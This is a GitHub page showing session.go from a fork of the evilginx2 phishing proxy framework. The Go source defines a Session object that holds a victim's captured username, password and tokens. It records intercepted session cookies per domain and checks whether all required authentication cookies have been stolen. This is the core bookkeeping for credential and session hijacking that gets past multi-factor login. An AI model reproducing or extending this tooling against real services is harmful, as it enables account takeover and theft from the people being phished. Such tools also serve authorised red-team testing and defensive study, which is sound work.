forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsession.go
137 lines (122 loc) · 2.98 KB
/
session.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
package core
import (
"time"
"github.com/kgretzky/evilginx2/database"
)
type Session struct {
Id string
Name string
Username string
Password string
Custom map[string]string
Params map[string]string
BodyTokens map[string]string
HttpTokens map[string]string
CookieTokens map[string]map[string]*database.CookieToken
RedirectURL string
IsDone bool
IsAuthUrl bool
IsForwarded bool
ProgressIndex int
RedirectCount int
PhishLure *Lure
RedirectorName string
LureDirPath string
DoneSignal chan struct{}
}
func NewSession(name string) (*Session, error) {
s := &Session{
Id: GenRandomToken(),
Name: name,
Username: "",
Password: "",
Custom: make(map[string]string),
Params: make(map[string]string),
BodyTokens: make(map[string]string),
HttpTokens: make(map[string]string),
RedirectURL: "",
IsDone: false,
IsAuthUrl: false,
IsForwarded: false,
ProgressIndex: 0,
RedirectCount: 0,
PhishLure: nil,
RedirectorName: "",
LureDirPath: "",
DoneSignal: make(chan struct{}),
}
s.CookieTokens = make(map[string]map[string]*database.CookieToken)
return s, nil
}
func (s *Session) SetUsername(username string) {
s.Username = username
}
func (s *Session) SetPassword(password string) {
s.Password = password
}
func (s *Session) SetCustom(name string, value string) {
s.Custom[name] = value
}
func (s *Session) AddCookieAuthToken(domain string, key string, value string, path string, http_only bool, expires time.Time) {
if _, ok := s.CookieTokens[domain]; !ok {
s.CookieTokens[domain] = make(map[string]*database.CookieToken)
}
if tk, ok := s.CookieTokens[domain][key]; ok {
tk.Name = key
tk.Value = value
tk.Path = path
tk.HttpOnly = http_only
} else {
s.CookieTokens[domain][key] = &database.CookieToken{
Name: key,
Value: value,
HttpOnly: http_only,
}
}
}
func (s *Session) AllCookieAuthTokensCaptured(authTokens map[string][]*CookieAuthToken) bool {
tcopy := make(map[string][]CookieAuthToken)
for k, v := range authTokens {
tcopy[k] = []CookieAuthToken{}
for _, at := range v {
if !at.optional {
tcopy[k] = append(tcopy[k], *at)
}
}
}
for domain, tokens := range s.CookieTokens {
for tk := range tokens {
if al, ok := tcopy[domain]; ok {
for an, at := range al {
match := false
if at.re != nil {
match = at.re.MatchString(tk)
} else if at.name == tk {
match = true
}
if match {
tcopy[domain] = append(tcopy[domain][:an], tcopy[domain][an+1:]...)
if len(tcopy[domain]) == 0 {
delete(tcopy, domain)
}
break
}
}
}
}
}
if len(tcopy) == 0 {
return true
}
return false
}
func (s *Session) Finish(is_auth_url bool) {
if !s.IsDone {
s.IsDone = true
s.IsAuthUrl = is_auth_url
if s.DoneSignal != nil {
close(s.DoneSignal)
s.DoneSignal = nil
}
}
}